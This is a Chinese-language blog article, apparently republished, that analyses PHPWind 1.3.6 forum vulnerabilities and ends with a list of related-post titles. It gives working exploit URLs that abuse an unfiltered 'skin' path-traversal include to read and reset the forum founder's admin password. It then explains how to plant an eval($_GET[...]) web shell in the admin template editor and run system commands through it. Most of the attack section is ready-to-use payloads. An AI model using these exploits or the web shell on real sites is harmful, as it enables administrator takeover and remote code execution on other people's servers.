PHPWIND 论坛是一款流行的PHP 论坛,界面美观,功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格,它和 DISCUZ 都非常相似,具体原因我想也就不用说了,毕竟 DISCUZ 出来比它要早很多。但安全上它没有继承 DISCUZ 的优点, DISCUZ 论坛安全性非常好,而且商家也对此非常重视安全问题,国内论坛中不论从功能还是安全 , 第一非DISCUZ 莫属。PHPWIND 虽然代码严谨,逻辑清楚,但还是有一些漏洞,而且还相当严重。

一 skin 变量未过滤导致管理员密码更改

废话少说,我们来分析漏洞。漏洞代码如下 (header.php) :

!function_exists('readover') && exit('Forbidden');

if (!$skin) $skin=$db_defaultstyle;

if(file_exists(R_P."data/style/$skin.php")){

include_once(R_P."data/style/$skin.php");

}else{

include_once(R_P."data/style/wind.php");

}

$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';

if($groupid=='guest' && $db_regpopup=='1'){

$head_pop='head_pop';

} else{

$head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';

}

require_once(PrintEot('css'));

require_once(PrintEot('header'));

?>

其中 $skin 变量是我们提交的,在运行到这里之前,只有一个地方处理过 $skin 变量:

$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];

语句判断 COOKIE 中是否已经包含 skinco 的信息,如果有了,就取得 COOKIE 中的值,这是处理个人页面风格用的。但如果我们的 COOKIE 中没有这个值 , 那么我们提交的 skin 变量就会一点不变的传到上面的漏洞代码。有人问,如果系统关了 register_globals 会怎么样,关了也没关系。

if(!ini_get('register_globals') || !get_magic_quotes_gpc()){

@extract($_POST,EXTR_SKIP);

@extract($_GET,EXTR_SKIP);

@extract($_COOKIE,EXTR_SKIP);

@extract($_FILES,EXTR_SKIP);

}

系统在 global.php 中又给释放了。所以我们不管是用 GET 方法或者 POST 方法都可以把构造好的 SKIN 变量传给程序。那传给程序有什么用呢?这是重点!

我们看这段代码:

if(file_exists(R_P."data/style/$skin.php")){

include_once(R_P."data/style/$skin.php");

}…

含义是如果( R_P.”data/style/$skin.php” )文件存在就把它包含进来,我也不分析有几种用法了,我直接给出我最简单危害最大的利用方法。

我们把 skin 的值设为 ”../../admin/manager” ,那就变成了 R_P.”data/style/../../admin/manager.php”, 很显然,这是论坛管理用户的一个程序,存在而且可执行。这个程序是专门用来修改 sql_config.php 的,这里面都是重要数据,包括论坛创始人的用户名和密码。我们只要构造好就可以改它的密码,直接登陆后台管理。在改之前我们可以先查看创始人的用户名。

我给出查看的方法,大家可以比对论坛程序自己分析一下,我就不在赘述了。

http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin

上面是我机子上的截图,其中 tplpath 变量非常重要,必须是 admin ,它是一个 template 路径,参数不对就不会显示了。

好我们看了知道了用户名,就可以改它的密码了。

http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go

上面的几个参数的含义大家一看就明白,那个 username 必须添上面看到的用户名,密码自己设,至于为什么要按上面的方法构造,其实很简单 manager.php 需要哪些变量我们就提交哪些变量,不需要的我们不管。上面的变量是它所需要的,所以我们就提交这些变量,注意上面的 action 必须有值。提交后系统什么都不显示,没关系,我们再用第一次的方法就会发现两次密码不一样,证明我们改成功了。如图 2 所示:

密码改了,我们就可以从管理页面登陆了。

http://localhost/phpwind/admin.php

二 后台利用 上传 SHELL

本来改了管理员密码已经能控制论坛了,但我我觉得不传 SHELL 总觉得事情只做了一半。如何上传 SHELL ,这就要用到后台的功能了。 PHPWIND 不知是想给管理员非常大的权限还是认为没有人有能力进入后台,后台的权利真是大的惊人。其实我们不靠上面的方法,用跨站手段得到管理员密码也不难,不知写论坛的人是怎么想的。

好,我就随便拣一处危害比较大的地方给大家分析一下,分析一下风格模板设置那个地方。

点一下左边的连接,右边会显示 /template/wind/css.htm 。

系统提供的功能简化理解就是可以任意编辑这个 CSS 文件,为论坛的界面做个性化设置,而且论坛运行的时候会 include 这个 css 文件,虽然它的扩展名是 .htm ,但是照样会和其他 PHP 文件一样运行。如果我们能象这个 css.htm 文件写一些 PHP 代码,就相当于我们写一个 SHELL ,是不是很简单。篇幅有限,我直接给出利用方法。把那个右边的 textarea 里面的换成下面的,然后点提交就行了。

eval($_GET[myphpcode]);

?>

大家最好按上面的构造,当然也可以自己构造,不过上面的方法我做过实验,成功率很高。

保存之后,用下面的方法就可以利用了。

http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;

可以运行其它PHP语句,在此不在赘述。

(本文由责任编辑 pasu 整理发布)

php漏洞论坛,PHPWIND1.3.6论坛漏洞分析相关推荐

  1. 动网 php v1.0 漏洞,动网(DVBBS)PHP论坛preview.php代码执行漏洞

    影响版本: 动网论坛 (DVBBS) PHP 2.0++漏洞描述: 动网(DVBBS)论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案. 在文件preview.php中: req ...

  2. Discuz论坛附件下载权限绕过漏洞

    近日,有网友在乌云上发布了一则Discuz论坛附件下载权限绕过漏洞,能够任意下载带有权限的附件并且无需扣除自身积分.目前Discuz正在处理中,但暂未放出漏洞补丁,有需要的朋友不妨趁漏洞修补之前到各论 ...

  3. 网站漏洞修复对DiscuzX3.4论坛总是被篡改页面

    Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...

  4. dz.4oq.co index.php,dz论坛Discuz_X3.4最新网站漏洞

    dz论坛Discuz_X3.4最新网站漏洞 分类专栏: 网站安全 网站被篡改 dz论坛Discuz_X3.4最新网站漏洞 网站安全 版权 近期我们sinesafe安全部门审计discuz最新版的时候发 ...

  5. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  6. dedecms 漏洞_代码审计之二次漏洞审计

    什么是二次漏洞 需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞.二次漏洞有点像存储型XSS的味道,就算payload插进去了,能不能利用还得看 ...

  7. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  8. php实现小论坛,PHP开发 小型论坛教程之添加论坛-1

    本页面我们使用了table表格进行布局 最终效果如下图 代码如下html> 论坛 table,td,tr{ border: 1px solid #B10707; } .btn{ backgrou ...

  9. struts2漏洞监测_CVE20190233: S2060 拒绝服务漏洞分析

    更多全球网络安全资讯尽在邑安全 0x01 漏洞简述 2020年8月11日,360CERT监测发现Apache官方发布了S2-060的风险通告,该漏洞编号为CVE-2019-0233,漏洞等级:中危.漏 ...

最新文章

  1. 计算机的五大主要应用领域是电大,电大计算机应用基础考答案
  2. highcharts图标插件详解一
  3. (46)分析 INT 0x2E 和 sysenter
  4. 微信小程序css3动画怎么写,微信小程序动画课程-通过wxss(css)来实现-animation 属性...
  5. android include 点击事件,Android编程之include文件的使用方法
  6. Unity 基本操作
  7. Java实现词频统计(Wordcount)-Map或Hashtable的value排序
  8. 数据结构动态顺序字符串基本操作实验_技术连载:数据结构 - 栈
  9. python入门指南 许半仙txt-影帝的脑子坏了
  10. Android App层通过JNI从驱动获取Input Event
  11. matlab读取excel里的数据并用imagesc画图
  12. mvc4开篇之BundleConfig(1)
  13. 苹果CMSv10自适应短视频原创挖片网高端手机+电脑模板
  14. 烟花背景的3D打字魔方相册(末尾附加下载地址)
  15. 什么专业学计算机编程,计算机编程是什么专业 难学吗
  16. 人民币大写数字注意事项
  17. 微积分:闭区间上 有界、可积、连续、可导 的强弱关系
  18. (function($){...})(jQuery)、$(function(){ })和$.fn
  19. 将python代码做成exe文件
  20. Ensp用windows回环口连接cloud配置

热门文章

  1. 华为、阿里巴巴、字节跳动 100+ Python 面试问题总结(五)
  2. 连接器半年度业绩预告 下半年业绩支撑点在哪
  3. 【调剂】重庆理工大学2020年硕士研究生招生调剂公告
  4. 记参加09财年微软“奇迹之旅”活动无锡站
  5. 现代图论笔记(一)图论的基础知识
  6. iOS开发企业版ipa分发 以及在线安装
  7. 恨,能挑起争端; 爱,能遮掩一切过错
  8. 虽迟但到,我的2022年总结
  9. vs2010中c#中类库dll制作和引用方法
  10. [译]初试C# 8.0